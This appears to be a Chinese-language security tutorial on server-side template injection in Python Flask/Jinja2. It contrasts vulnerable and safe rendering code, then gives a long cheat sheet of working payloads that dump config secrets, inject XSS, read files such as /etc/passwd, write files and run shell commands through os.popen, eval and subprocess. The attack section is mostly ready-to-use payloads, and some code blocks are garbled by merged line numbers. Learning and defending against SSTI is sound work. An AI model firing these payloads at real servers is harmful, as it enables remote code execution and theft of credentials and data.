Python SSTI漏洞简单利用
SSTI(Server Side Template Injection,服务器端模板注入)
服务器端使用模板(Web开发中所使用的模板引擎),通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面,模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。
Flask初识
Flask快速使用
1 | 安装虚拟环境 |
测试代码:
1 | # 从flask包中导入flask和相应所需函数 |
在venv下创建code目录用来存放代码,运行test.py,然后进入http://127.0.0.1:5000/
,可以看到网页上显示了Hello World!,代表app启动成功
漏洞原理
存在SSTI漏洞的代码,其根源在于使用字符串格式化(如 %
或 format
)将用户输入插入模板字符串中,再传递给 Jinja2 模板引擎渲染
经典漏洞写法
安全:
1 | render_template_string('<h1>Hello {{ name }}</h1>', name=user_input) |
危险:
1 | render_template_string('<h1>Hello %s</h1>' % user_input) |
经典漏洞例子
1 | from flask import Flask, request, render_template_string |
使用49作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征
不存在漏洞的代码
1 | from flask import Flask, request, render_template |
通过观察以上代码,我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。
深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。
漏洞利用
利用思路
以通过SSTI进行RCE为例,基本的利用思路为:
- 随便找个倒霉的内置类:[]、“”
- 通过这个类获取到object类:base、bases、mro
- 通过object类获取所有子类:subclasses()
- 在子类列表中找到可以利用的类
- 直接调用类下面函数或使用该类空间下可用的其他模块的函数
魔术方法
魔术方法 | 作用 |
---|---|
init | 对象的初始化方法 |
class | 返回对象所属的类 |
module | 返回类所在的模块 |
mro | 返回类的调用顺序,可以此找到其父类(用于找父类) |
base | 获取类的直接父类(用于找父类) |
bases | 获取父类的元组,按它们出现的先后排序(用于找父类) |
dict | 返回当前类的函数、属性、全局变量等 |
subclasses | 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类) |
globals | 获取函数所属空间下可使用的模块(__builtins__ )、方法及变量(用于访问全局变量) |
import | 用于导入模块,经常用于导入os模块 |
builtins | 返回Python中的内置函数,如eval |
寻找可利用的类
1 | # 获取对象所属的类 |
写个脚本跑一下,看看哪个类可以用
1 | import re |
构造payload
构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:
-
获取配置信息
1
2
3# 获取配置信息
{{config}} # 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
{{request.environ}} # 服务器环境信息 -
XSS
1
2# XSS
name=<script>alert(/YouAreHacked/)</script> -
RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62常用:
#利用config配置信息直接调用os模块(好用)
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}
#用"os"模块中listdir列目录(常用于popen被过滤)
{{config.__class__.__init__.__globals__['os'].listdir('/')}}
#读取文件(通常读取源码来获得waf)
{{config.__class__.__init__.__globals__['__builtins__'].open('app.py').read()}}
# 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}
# 读取文件
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}
#只有文件读取功能
{{''.__class__.__base__.__subclasses__()[80]('/etc/passwd').read()}}
# 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read()}}
#利用模板语句
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
不常用:
# 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# 利用__import__导入os模块进行利用
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
# 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
{{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}
# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
# 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}
{% endfor %}
参考: